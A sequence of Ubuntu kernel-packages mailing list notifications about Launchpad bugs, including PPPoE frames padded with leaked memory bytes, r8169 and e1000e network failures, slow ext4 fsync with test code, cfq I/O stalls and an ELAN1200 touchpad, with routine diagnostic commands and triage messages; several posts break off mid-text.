[Kernel-packages] [Bug 1784684] Re: Waste padding after PPPoE payload
Would it be possible for you to test the latest upstream stable kernel? Refer to https://wiki.ubuntu.com/KernelMainlineBuilds . Please test the latest v4.4 stable kernel[0]. If this bug is fixed in the mainline kernel, please add the following tag 'kernel-fixed-upstream'. If the mainline kernel does not fix this bug, please add the tag: 'kernel-bug-exists-upstream'. If you are unable to test the mainline kernel, for example it will not boot, please add the tag: 'kernel-unable-to-test-upstream'. Once testing of the upstream kernel is complete, please mark this bug as "Confirmed". Thanks in advance. [0] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.4.145 ** Changed in: linux (Ubuntu) Importance: Undecided => High ** Information type changed from Public to Private Security ** Tags added: kernel-key -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784684 Title: Waste padding after PPPoE payload Status in linux package in Ubuntu: Confirmed Bug description: After a new Kernel e.g. 4.4.0-131 is installed on our Ubuntu 16.04 LTS clients, unneeded (waste) 14 bytes paddings are unexpectedly present after PPPoE payload in client's Ethernet frames which are sent towards a NAS access router. The content of such a waste padding is not all zero filled bytes, but rather parts of memory, sometimes with readable text. Thus it is also a security issue. Sometimes the waste padding is more than 14 bytes. For example, a PPPoED PADI frame (single tagged VLAN) with text "amf/application/12" (18 bytes) at the end of the frame shown as padding in Wireshark: ff ff ff ff ff ff 00 0a cd 2a ea 9f 81 00 00 07 ÿÿ..Í*ê. 0010 88 63 11 09 00 00 00 0c 01 01 00 00 01 03 00 04 .c.. 0020 d9 1f 00 00 61 6d 66 2f 61 70 70 6c 69 63 61 74 Ù...amf/applicat 0030 69 6f 6e 2f 31 32 ion/12 It is a critical bug of Kernel 4.4.0-131. Some affected client Ethernet frames are large enough (>64 bytes), and thus they do not need to be padded for Ethernet. Padding should be included and is required in Ethernet frames only to achieve the minimum 64 byte size of an Ethernet frame sent on wire. For a packet larger than e.g. 100 bytes no padding is needed in Ethernet frame. However we can see such 14 Byte paddings also in large client Ethernet frames (in PPPoE/PPP/IP session packets), with payload size of several hundred bytes (200, 300, 400 bytes and more). Our Ubuntu 16.04 LTS Clients are always updated via apt update / apt upgrade early enough, after a new Ubuntu update is released in Internet. Our statistics after analyzing the collected archived pcap traces of our clients with Ubuntu 16.04 LTS and the latest Kernel installed can help to identify the date and the version when the kernel bug first appeared: From 15.06.2018 to 29.06.2018 - still no waste padding on all clients (OK) 02.07.2018 - OK, still no waste padding on all clients (OK) 03.07.2018 - OK, still no waste padding on all clients (OK) 04.07.2018 - OK, still no waste padding on all clients (OK) 05.07.2018 - OK, still no waste padding on all clients (OK) 06.07.2018 - OK, still no waste padding on all clients (OK) !!! Kernel Update to 4.4.0-131 on 09-Jul-2018 !!! 09.07.2018 - 14 byte padding (PADI, PADR, etc) on all updated clients - a kernel BUG ! 10.07.2018 - 14 byte padding (PADI, PADR, etc) on all updated clients - a kernel BUG ! 12.07.2018 - 14 byte padding (PADI, PADR, etc) on all updated clients - a kernel BUG ! 13.07.2018 - 14 byte padding (PADI, PADR, etc) on all updated clients - a kernel BUG ! 19.07.2018 - 14 byte padding (PADI, PADR, etc) on all updated clients - a kernel BUG ! ... So the padding issue occurred on our Ubuntu 16.04 LTS clients for the first time on 09-Jul-2018, after the Linux Kernel was updated to 4.4.0-131. Since then, the issue is present on all the updated clients. The kernel bug disappeared and the padding behavior is OK again (without bug), after clients were downgraded to and booted with an older kernel version like e.g. 4.4.0-116 (older than 4.4.0-131). Information about the Ubuntu clients and the kernel version affected with this BUG: @client:~$ uname -a Linux client 4.4.0-131-generic #157-Ubuntu SMP Thu Jul 12 15:51:36 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux @client:~$ cat /proc/version_signature Ubuntu 4.4.0-131.157-generic 4.4.134 @client:~$ lsb_release -rd Description:Ubuntu 16.04.5 LTS Release:16.04 @client:~$ lsb_release -ci Distributor ID: Ubuntu Codename: xenial The kernel bug does not occur and waste paddings (14 byte on single- stacked VLAN, 18 byte on double-stacked VLAN) are not present in client frames, if an old Kernel e.g. 4.4.0-116 (of 12-Feb-2018) is installed on the client and
[Kernel-packages] [Bug 1752772] Re: r8169 ethernet card don't work after returning from suspension
This issue is affecting me. When I wake from suspend my ethernet connection doesn't work, just says "connecting..." Ubuntu 18.04 4.15.0-29-generic r8169 This workaround succeeds: modprobe -r r8169 modprobe -i r8169 $ uname -r 4.15.0-29-generic $ apt policy linux-image-generic linux-image-generic: Installed: 4.15.0.29.31 Candidate: 4.15.0.29.31 Version table: *** 4.15.0.29.31 500 500 http://us.archive.ubuntu.com/ubuntu bionic-updates/main amd64 Packages 500 http://security.ubuntu.com/ubuntu bionic-security/main amd64 Packages 100 /var/lib/dpkg/status 4.15.0.20.23 500 500 http://us.archive.ubuntu.com/ubuntu bionic/main amd64 Packages $ lshw -C network *-network configuration: autonegotiation=on broadcast=yes driver=r8169 driverversion=2.3LK-NAPI duplex=full firmware=rtl_nic/rtl8105e-1.fw ip=172.16.0.5 latency=0 link=yes multicast=yes port=MII speed=100Mbit/s -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1752772 Title: r8169 ethernet card don't work after returning from suspension Status in linux package in Ubuntu: Fix Released Status in linux source package in Bionic: Fix Released Bug description: ===SRU Justification=== [Impact] Ethernet r8169 stops working after system resumed from suspend. [Test] User confirmed these patches fix the issue. r8169 continues to work after resume from suspend. [Regression Potential] Medium. The fix is limited to one device, all patches are in mainline. The WOL default change might cause regression for users that depend on BIOS settings. We can advice them to use userspace tool (systemd, ethtool, etc.) instead. ===Original Bug Report=== I have noticed that the network stopped working on my desktop after I've suspended the system and woke it up. On dmesg there are messages like: [ 150.877998] IPv6: ADDRCONF(NETDEV_UP): enp1s0: link is not ready [ 150.944101] do_IRQ: 3.37 No irq handler for vector [ 150.944105] r8169 :01:00.0 enp1s0: link down [ 150.944180] IPv6: ADDRCONF(NETDEV_UP): enp1s0: link is not ready When using Xenial (from a different install), this problem is not happening. This is happening on Bionic. There are only two ways to restore connectivity: 1) Reboot the system; 2) Remove the r8169 module and reinsert it with modprobe. The motherboard is a AsRock H55M-LE and the Ethernet controller is: 01:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 03) ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-firmware 1.172 ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3 Uname: Linux 4.15.0-10-generic x86_64 ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 CurrentDesktop: LXDE Date: Fri Mar 2 00:21:57 2018 Dependencies: InstallationDate: Installed on 2018-02-26 (3 days ago) InstallationMedia: Lubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180226) PackageArchitecture: all SourcePackage: linux-firmware UpgradeStatus: No upgrade log present (probably fresh install) --- AlsaVersion: Advanced Linux Sound Architecture Driver Version k4.15.0-10-generic. ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 ArecordDevices: List of CAPTURE Hardware Devices card 0: MID [HDA Intel MID], device 0: VT1818S Analog [VT1818S Analog] Subdevices: 1/1 Subdevice #0: subdevice #0 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: usuario1153 F pulseaudio /dev/snd/controlC1: usuario1153 F pulseaudio Card0.Amixer.info: Card hw:0 'MID'/'HDA Intel MID at 0xfbdf8000 irq 26' Mixer name : 'VIA VT1818S' Components : 'HDA:11060440,18492818,0010' Controls : 40 Simple ctrls : 17 Card1.Amixer.info: Card hw:1 'HDMI'/'HDA ATI HDMI at 0xfbffc000 irq 27' Mixer name : 'ATI R6xx HDMI' Components : 'HDA:1002aa01,00aa0100,00100200' Controls : 7 Simple ctrls : 1 Card1.Amixer.values: Simple mixer control 'IEC958',0 Capabilities: pswitch pswitch-joined Playback channels: Mono Mono: Playback [on] CurrentDesktop: LXDE Dependencies: DistroRelease: Ubuntu 18.04 HibernationDevice: RESUME=UUID=edd83175-c707-4b31-90d2-ce2f5cebc73f InstallationDate: Installed on 2018-02-26 (3 days ago) InstallationMedia: Lubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180226) MachineType: To Be Filled By O.E.M. To Be Filled By O.E.M. Package: linux-firmware 1.172 PackageArchitecture: all ProcFB: 0 radeondrmfb ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz root=UUID=0c4fc517-b7a0-49b0-bfcb-0485dfe6413b ro quiet ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3 RelatedPackageVersions: linux-restricted-modules-4.15.0-10-generic N/A linux-backports-modules-4.15.0-10-generic
[Kernel-packages] [Bug 1785171] Missing required logs.
This bug is missing log files that will aid in diagnosing the problem. While running an Ubuntu kernel (not a mainline or third-party kernel) please enter the following command in a terminal window: apport-collect 1785171 and then change the status of the bug to 'Confirmed'. If, due to the nature of the issue you have encountered, you are unable to run this command, please add a comment stating that fact and change the bug status to 'Confirmed'. This change has been made by an automated script, maintained by the Ubuntu Kernel Team. ** Changed in: linux (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1785171 Title: Intel I219-V Ethernet Interface on Ubuntu Linux Using e1000e Driver keeps Dropping Internet Connection Status in linux package in Ubuntu: Incomplete Bug description: I've turned up many, many new server and workstation systems over the years on both Linux and Windows. Never seen anything like this behaviour I'm witnessing on Ubuntu Server 18.04 before where I simply lose Internet connectivity while using a browser. Ethernet interfaces usually either work or they don't work. I've configured the Intel I219-V Ethernet interface (wired Ethernet connection, there is no wifi on this system) using the e1000e driver for Ubuntu. The Ethernet connection is configured to use NetworkManager via Netplan on Ubuntu 18.04 LTS Server version. ASRock Z370m Pro4 motherboard. The Ethernet interface will drop the Internet connectivity when I'm using either the Firefox or Chrome browser. It usually happens when I'm using the search features of the browser. I can't figure out what would cause this type of behaviour. When the Internet connection drops, the only way to get back Internet connectivity is to disconnect the wired connection using the Ubuntu features and then re-connect (this restarts the NetworkManager service I notice). In the NetworkManager logs I do notice an "auth" error about a file or directory not found. I've never seen that before. Note: The auth error does not coincide with the loss of Internet connectivity, but it does proceed it. Often there can be many hours between the auth error and the actual loss of Internet connectivity. After I reconnect the connection (via re-starting the NetworkManager service) all will be fine for up to a day or so, but then I stress test it with a bunch of searches using the browser and usually I can get the Internet connectivity to drop again. Repeat the disconnect and reconnect process again (aka re-start NetworkManager) and the Internet connectivity will be fine again. The longest I've seen it go without an "Internet connectivity drop" issue is about 36 hours. I notice that the e1000e driver does not list the I219-V as a supported Ethernet interface in the Intel documentation for the Linux version of the driver. I'm not sure why that is. The I219-V is supposed to used another driver, but it's not clear there's a Linux version for of the driver for the I219-V. I'm really disappointed that I've run into this issue with Ubuntu Server LTS 18.04 on this motherboard. I had CentOS Server 7.4 (my standard server OS, a great Linux distro) on this same motherboard for a week with no issues, so I know the motherboard and the I219-V Ethernet interface are 100% good hardware wise and can work properly. CentOS 7.4 uses NetworkManager as the default for managing the Ethernet interface. The only reason I'm using Ubuntu Server 18.04 on this motherboard is because of a specific package that Ubuntu has a newer packaged version than CentOS. CentOS is extremely stable when it comes to basic server functionality. Hopefully, this bug with the I219-V Ethernet interface using the e1000e drive for Linux can be verified and a fix rolled out. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1785171/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1785020] Re: fsync is slow on later kernels with ext4 filesystms
Would it be possible for you to test the latest upstream kernel? Refer to https://wiki.ubuntu.com/KernelMainlineBuilds . Please test the latest v4.18 kernel[0]. If this bug is fixed in the mainline kernel, please add the following tag 'kernel-fixed-upstream'. If the mainline kernel does not fix this bug, please add the tag: 'kernel-bug-exists-upstream'. Once testing of the upstream kernel is complete, please mark this bug as "Confirmed". Thanks in advance. [0] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.18-rc7 ** Changed in: linux (Ubuntu) Importance: Undecided => Medium ** Changed in: linux (Ubuntu) Status: Confirmed => Incomplete -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1785020 Title: fsync is slow on later kernels with ext4 filesystms Status in linux package in Ubuntu: Incomplete Bug description: So this is a simple one, if I run the following code (see below) on Ubuntu 18.04 (4.15.0-29-generic ) and against Ubuntu 16.04 ( 4.4.0-87-generic) I get two different results ; The question is why? It seems that fsync may be broken in the latest kernel and may well be broken as early as 4.10 ? This has huge implications around performance sensitive applications like mysql. It also so worth noting that I'm running this against an ext4 filesystem with the following mount options rw,noatime,nodiratime,nobarrier,data=journal 4.4.0-87-generic - # time ./fsync real 0m7.537s <- user 0m0.000s sys 0m1.060s <- 4.15.0-29-generic - # time ./fsync real 1m38.299s <- user 0m0.013s sys 0m0.893s <- Linux buntu-1804 4.15.0-29-generic no sync() seconds:0.024438 writes per second:0.00 sync() seconds:1.705764 writes per second:0.00 real3m6.475s user0m0.006s sys 0m1.725s Linux ubuntu 4.4.0-87-generic no sync() seconds:0.012887 writes per second:0.01 sync() seconds:0.736563 writes per second:0.00 real0m8.945s user0m0.016s sys 0m0.732s #!/usr/bin/python import os, sys, mmap # Open a file fd = os.open( "/a/testfile", os.O_RDWR|os.O_CREAT|os.O_DIRECT ) m = mmap.mmap(-1, 512) for i in range (1,1): os.lseek(fd,os.SEEK_SET,0) m[1] = "1" os.write(fd, m) os.fsync(fd) # Close opened file os.close( fd ) #define _GNU_SOURCE #include #include #include #include void withSync() { int f = open( "/a/t8" , O_RDWR | O_CREAT |O_DIRECT ); lseek (f, 0, SEEK_SET ); int records = 10*1000; clock_t ustart = clock(); for(int i = 0; i < records; i++) { write(f, "012345678901234567890123456789" , 30); fsync(f); } clock_t uend = clock(); close (f); printf(" sync() seconds:%lf writes per second:%lf\n", ((double)(uend-ustart))/(CLOCKS_PER_SEC), ((double)records)/((double)(uend-ustart))/(CLOCKS_PER_SEC)); } void withoutSync() { int f = open( "/a/t10" , O_RDWR | O_CREAT | O_DIRECT ); lseek (f, 0, SEEK_SET ); int records = 10*1000; clock_t ustart = clock(); for(int i = 0; i < records; i++) { write(f, "012345678901234567890123456789" , 30 ); } clock_t uend = clock(); close (f); printf("no sync() seconds:%lf writes per second:%lf \n", ((double)(uend-ustart))/(CLOCKS_PER_SEC), ((double)records)/((double)(uend-ustart))/(CLOCKS_PER_SEC)); } int main(int argc, const char * argv[]) { withoutSync(); withSync(); return 0; } Linux buntu-1804 4.15.0-29-generic no sync() seconds:0.024438 writes per second:0.00 sync() seconds:1.705764 writes per second:0.00 real3m6.475s user0m0.006s sys 0m1.725s Linux ubuntu 4.4.0-87-generic no sync() seconds:0.012887 writes per second:0.01 sync() seconds:0.736563 writes per second:0.00 real 0m8.945s user0m0.016s sys 0m0.732s To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1785020/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1709889] Re: Ubuntu 17.04: Bug in cfq scheduler, I/Os do not get submitted to adapter for a very long time.
Updated bug description and added Bionic bug task. Marked bug 1785081 as a duplicate of this bug. ** Also affects: linux (Ubuntu Bionic) Importance: Undecided Status: New ** Changed in: linux (Ubuntu Bionic) Status: New => Triaged ** Changed in: linux (Ubuntu Bionic) Importance: Undecided => Critical ** Tags added: kernel-da-key ** Summary changed: - Ubuntu 17.04: Bug in cfq scheduler, I/Os do not get submitted to adapter for a very long time. + Ubuntu 18.04: Bug in cfq scheduler, I/Os do not get submitted to adapter for a very long time. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1709889 Title: Ubuntu 18.04: Bug in cfq scheduler, I/Os do not get submitted to adapter for a very long time. Status in Linux: Unknown Status in The Ubuntu-power-systems project: New Status in linux package in Ubuntu: New Status in linux source package in Zesty: Won't Fix Status in linux source package in Bionic: Triaged Bug description: ---Problem Description--- When running stress test, sometimes seeing IO hung in dmesg or seeing "Host adapter abort request" error. ---Steps to Reproduce--- There are two ways to re-create the issues: (1)running HTX, you will see IO timeout backtrace in dmesg in several hours (2)running some IO test, then reboot system, repeat this two steps, it takes long time to re-create the issue. ---uname output--- 4.10.0-11-generic The bulk of the effort for this issue is currently being worked in MicroSemi's JIRA https://jira.pmcs.com/browse/ESDIBMOP-133. Ran an interesting test: Ran HTX until I started getting the "stall" messages on the console, then shutdown HTX and examined the I/O counters for the tested disks in sysfs: root@bostonp15:~# for i in /sys/devices/pci0003:00/0003:00:00.0/0003:01:00.0/host0/target0:2:[2345]/0:2:[2345]:0; do echo ${i##*/} $(<${i}/iorequest_cnt) $(<${i}/iodone_cnt); done 0:2:2:0 0x5eba3d 0x5eba3d 0:2:3:0 0x773cc9 0x773cc9 0:2:4:0 0x782c61 0x782c61 0:2:5:0 0x5ca134 0x5ca134 root@bostonp15:~# So, none of the disks showed any evidence of having lost an I/O. I then restarted HTX and aside from having to manually restart one of the disks, see no problems with the testing. It appears that what was "hung" was purely in userland. This does not absolve the kernel or aacraid driver from blame, but it shows that the OS "believes" that it completed the I/O and thus removed it from the queue. What we don't know is whether the OS truly notified HTX about the completion, or if HTX (or userland libraries) just failed to process the notification. Tests are running again, will see what happens next. Update from JIRA: I have run some more experiments. Not sure what it tells us, but here's what I've seen. First test, ran until I got kernel messages about stalled tasks, then shutdown HTX. After HTX was down, I checked the above mentioned counters and found that on each disk iorequest_cnt matched iodone_cnt. The disks were usable and I could restart HTX. This suggests that the problem is not in the PM8069 firmware, and makes the case for the aacraid driver having a bug somewhat weaker. However, this merely says that the driver "completed" the I/O as far as the kernel is concerned, not that a completion rippled back to the application. I restarted HTX and have run until errors. This time, I am leaving HTX running and observing. Two of the disks reached the HTX error threshold and the testers stopped (those 2 disks are now idle). Another disks saw errors but then stopped and appears to be running fine now. The last disk has not seen any errors (yet). On the two idle (errored-out) disks I see iorequest_cnt matches iodone_cnt. I am able to "terminate and restart" the two idle disks and HTX appears to be testing them again "normally". Note that no reboot was required, further supporting the evidence that, as far as the kernel is concerned, there is nothing wrong with the disks and their I/O paths. So, I don't believe this completely eliminates aacraid from the picture, especially given we don't see this behavior on other systems/drivers. But, it probably moves the focus of the investigation away form the adapter firmware. Tried build upstream 4.11 kernel on Ubuntu. This still gets the hangs. Both Ubuntu 4.10 and upstream 4.11 have aacraid driver 1.2.1[50792]-custom. Good new/bad news... While doing an initial evaluation of the LSI-3008 SAS HBA on Boston and Ubuntu 17.04, I am hitting this same problem. So, it appears to have nothing specific to do with the PM8069 or aacraid driver. Some notes on reproduce this. I have been using the github release of HTX, built using the following steps: 1. apt install make gcc g++ git libncurses5-dev libcxl-dev libdapl-dev (others may be required) 2.
[Kernel-packages] [Bug 1589418] Re: udisksd high CPU usage
fugounashi, it is most helpful if you use the computer the problem is reproducible with, and provide necessary debugging logs by filing a new report with Ubuntu via a terminal: ubuntu-bug linux Please feel free to subscribe me to it. ** Changed in: linux (Ubuntu) Status: Confirmed => Incomplete -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1589418 Title: udisksd high CPU usage Status in linux package in Ubuntu: Incomplete Bug description: Using: libudisks2-0:amd64 2.1.6-2ubuntu1 Ubuntu 4.2.0-36.42-generic 4.2.8-ckt8 Description: Ubuntu 15.10 Release: 15.10 When I add USB drives to my system I end-up with udisksd using 100% of a core shortly after. After some time this goes up to 200% (in one step), so using 2 cores. Thread view shows CPU time of CMD 'pool': # ps -T -p PID SPID TTY TIME CMD 26229 26229 ?00:00:00 udisksd 26229 26230 ?00:00:00 gmain 26229 26232 ?00:00:00 gdbus 26229 26233 ?00:00:00 probing-thread 26229 26234 ?00:00:00 cleanup 26229 3325 ?00:33:16 pool 26229 5027 ?00:03:00 pool My solution is to kill it and let it restart. Strace needs to follow threads to show activity, it's then flooding with: # strace -p -f [pid 3325] poll([{fd=12, events=POLLIN}, {fd=17, events=POLLOUT}, {fd=18, events=POLLIN}, {fd=20, events=POLLIN}], 4, 0) = 2 ([{fd=12, revents=POLLIN}, {fd=17, revents=POLLOUT}]) [pid 3325] read(12, "\2\0\0\0\0\0\0\0", 16) = 8 [pid 3325] write(12, "\1\0\0\0\0\0\0\0", 8) = 8 [pid 3325] write(2, "\n(udisksd:26229): GLib-WARNING *"..., 87) = 87 [pid 3325] write(12, "\1\0\0\0\0\0\0\0", 8) = 8 [pid 3325] poll([{fd=12, events=POLLIN}, {fd=17, events=POLLOUT}, {fd=18, events=POLLIN}, {fd=20, events=POLLIN}], 4, 0) = 2 ([{fd=12, revents=POLLIN}, {fd=17, revents=POLLOUT}]) [pid 3325] read(12, "\2\0\0\0\0\0\0\0", 16) = 8 [pid 3325] write(12, "\1\0\0\0\0\0\0\0", 8) = 8 [pid 3325] write(2, "\n(udisksd:26229): GLib-WARNING *"..., 87) = 87 [pid 3325] write(12, "\1\0\0\0\0\0\0\0", 8) = 8 [pid 3325] poll([{fd=12, events=POLLIN}, {fd=17, events=POLLOUT}, {fd=18, events=POLLIN}, {fd=20, events=POLLIN}], 4, 0) = 2 ([{fd=12, revents=POLLIN}, {fd=17, revents=POLLOUT}]) [pid 3325] read(12, "\2\0\0\0\0\0\0\0", 16) = 8 [pid 3325] write(12, "\1\0\0\0\0\0\0\0", 8) = 8 [pid 3325] write(2, "\n(udisksd:26229): GLib-WARNING *"..., 87) = 87 [pid 3325] write(12, "\1\0\0\0\0\0\0\0", 8) = 8 [pid 3325] poll([{fd=12, events=POLLIN}, {fd=17, events=POLLOUT}, {fd=18, events=POLLIN}, {fd=20, events=POLLIN}], 4, 0) = 2^CProcess 26229 detached THANKS! --- ApportVersion: 2.19.1-0ubuntu5 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: bones 1880 F panel-8-mixer bones 1944 F pulseaudio /dev/snd/controlC1: bones 1880 F panel-8-mixer bones 1944 F pulseaudio DistroRelease: Ubuntu 15.10 HibernationDevice: RESUME=UUID=34ae084e-472d-4798-bacb-fd0f010fe477 InstallationDate: Installed on 2016-01-06 (154 days ago) InstallationMedia: Kubuntu 15.10 "Wily Werewolf" - Release amd64 (20151021) MachineType: LENOVO 20BXCTO1WW Package: linux (not installed) ProcEnviron: TERM=xterm PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.2.0-36-generic.efi.signed root=/dev/mapper/kubuntu--vg-root ro quiet splash vt.handoff=7 ProcVersionSignature: Ubuntu 4.2.0-36.42-generic 4.2.8-ckt8 PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: Home directory not accessible: Permission denied No PulseAudio daemon running, or not running as session daemon. RelatedPackageVersions: linux-restricted-modules-4.2.0-36-generic N/A linux-backports-modules-4.2.0-36-generic N/A linux-firmware1.149.3 Tags: wily UdevLog: Error: [Errno 2] No such file or directory: '/var/log/udev' Uname: Linux 4.2.0-36-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: _MarkForUpload: True dmi.bios.date: 11/06/2015 dmi.bios.vendor: LENOVO dmi.bios.version: JBET54WW (1.19 ) dmi.board.asset.tag: Not Available dmi.board.name: 20BXCTO1WW dmi.board.vendor: LENOVO dmi.board.version: SDK0J40709 WIN dmi.chassis.asset.tag: No Asset Information dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: None dmi.modalias: dmi:bvnLENOVO:bvrJBET54WW(1.19):bd11/06/2015:svnLENOVO:pn20BXCTO1WW:pvrThinkPadT450s:rvnLENOVO:rn20BXCTO1WW:rvrSDK0J40709WIN:cvnLENOVO:ct10:cvrNone: dmi.product.name: 20BXCTO1WW dmi.product.version: ThinkPad T450s dmi.sys.vendor: LENOVO To manage notifications about this
[Kernel-packages] [Bug 1785282] [NEW] arm-smmu-v3 arm-smmu-v3.1.auto: failed to allocate MSIs
Public bug reported: [Impact] ARM systems w/ an SMMUv3 that uses MSI control interrupts fail to initialize them, which can e.g. prevent detected device errors from being reported. [Test Case] dmesg | grep "failed to allocate MSIs" grep arm-smmu-v3 /proc/interrupts [Fix] Upstream fixes that add support for the SMMUv3 device ID mapping index - which is required for MSI support - need to be included. [Regression Risk] By enabling these interrupts, we're allowing code to run that previously didn't, which could potentially do bad things. However, the interrupt handlers look pretty simple/straightforward, and I haven't seen any problems on a system that uses them w/ the fixes applied. ** Affects: linux (Ubuntu) Importance: Undecided Assignee: dann frazier (dannf) Status: Fix Released ** Affects: linux (Ubuntu Bionic) Importance: Undecided Assignee: dann frazier (dannf) Status: In Progress ** Also affects: linux (Ubuntu Bionic) Importance: Undecided Status: New ** Changed in: linux (Ubuntu Bionic) Status: New => In Progress ** Changed in: linux (Ubuntu Bionic) Assignee: (unassigned) => dann frazier (dannf) ** Changed in: linux (Ubuntu) Status: In Progress => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1785282 Title: arm-smmu-v3 arm-smmu-v3.1.auto: failed to allocate MSIs Status in linux package in Ubuntu: Fix Released Status in linux source package in Bionic: In Progress Bug description: [Impact] ARM systems w/ an SMMUv3 that uses MSI control interrupts fail to initialize them, which can e.g. prevent detected device errors from being reported. [Test Case] dmesg | grep "failed to allocate MSIs" grep arm-smmu-v3 /proc/interrupts [Fix] Upstream fixes that add support for the SMMUv3 device ID mapping index - which is required for MSI support - need to be included. [Regression Risk] By enabling these interrupts, we're allowing code to run that previously didn't, which could potentially do bad things. However, the interrupt handlers look pretty simple/straightforward, and I haven't seen any problems on a system that uses them w/ the fixes applied. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1785282/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784310] Re: linux-kvm: 4.4.0-1030.36 -proposed tracker
** Changed in: kernel-sru-workflow/promote-to-proposed Status: Confirmed => Fix Committed ** Changed in: kernel-sru-workflow/promote-to-proposed Assignee: Ubuntu Stable Release Updates Team (ubuntu-sru) => Łukasz Zemczak (sil2100) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-kvm in Ubuntu. https://bugs.launchpad.net/bugs/1784310 Title: linux-kvm: 4.4.0-1030.36 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: New Status in Kernel SRU Workflow certification-testing series: New Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Committed Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: New Status in Kernel SRU Workflow security-signoff series: New Status in Kernel SRU Workflow upload-to-ppa series: New Status in Kernel SRU Workflow verification-testing series: New Status in linux-kvm package in Ubuntu: Invalid Status in linux-kvm source package in Xenial: Confirmed Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true kernel-stable-master-bug: 1784302 phase: Uploaded To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1784310/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1778087] Re: ELAN1200 touchpad jumps around and disconnects
Hello Vassilis and welcome to the bug report! Your touchpad might be slightly different though I doubt it. Check this out: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1782653 Are you able to reload i2c_hid during runtime? I think reloading it gives me a blackscreen You might be right with your theory. Seems like the dmesg spam also comes from i2c_hid. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1778087 Title: ELAN1200 touchpad jumps around and disconnects Status in linux package in Ubuntu: Confirmed Bug description: This is on an ASUS GL503VD laptop and would probably affect other ASUS laptops equipped with the ELAN1200 touchpad. I am on Kernel 4.17.2 because older kernels did not enable the touchpad at all(It was just unrecognized or i2c-hid stopped the computer from booting) The touchpad works but it has erratic behaviour and disconnects randomly. After it disconnects the only way to bring it back is to `modprobe -r hid-multitouch && modprobe hid-multitouch` Libinput and synaptics can handle the touchpad though I found synaptics to be more stable. dmesg gets spammed with this whenever I move the touchpad: [timestamp] i2c_hid i2c-ELAN1200:00: i2c_hid_get_input: incomplete report (16/65535) I tried to compile: https://github.com/mishurov/linux_elan1200_touchpad Because from what I understand the "jumpy/disconnect" problem is associated to the incomplete reports and Mishurov managed to mitigate those. Unfortunately some symbols were deprecated in kernel 4.17.2 and it did not compile for my system. While I can use my touchpad as is right now, and "restart" it with modprobe when needed, it would be nice to have it function bug-free. (Right after I typed this my touchpad disconnected and I needed to modprobe again, I am considering making a cronjob for that) Let me know if anything else is needed. Will wait for an apport collection to add log files. --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-10 (11 